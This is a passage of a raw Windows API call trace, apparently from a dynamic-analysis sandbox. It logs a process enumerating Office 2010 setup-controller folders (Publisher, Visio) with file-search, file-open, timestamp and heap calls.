out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908f58 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a4e0 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908f78 [0238.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a5e8 [0238.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0238.585] GetLastError () returned 0x12 [0238.585] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0238.586] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0238.586] GetLastError () returned 0x12 [0238.586] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0238.586] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0238.586] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0238.586] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0238.586] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0238.586] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0238.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0239.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0239.224] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0239.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0239.224] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0239.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0239.224] NtClose (Handle=0x1b8) returned 0x0 [0239.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0239.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0239.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0239.224] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0239.224] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.225] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908f98 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a6f0 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908fb8 [0239.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a7f8 [0239.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.225] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0239.225] GetLastError () returned 0x12 [0239.225] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0239.225] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0239.226] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.226] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.226] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0239.226] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0239.226] GetLastError () returned 0x12 [0239.226] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0239.226] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.226] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0239.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0239.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0239.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0239.346] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0239.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0239.346] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0239.346] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0239.347] NtClose (Handle=0x1b4) returned 0x0 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.347] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0239.347] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.347] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908fd8 [0239.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a900 [0239.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.347] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0239.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908ff8 [0239.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90aa08 [0239.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.348] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0239.348] GetLastError () returned 0x12 [0239.348] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0239.348] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0239.348] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.348] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.348] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, 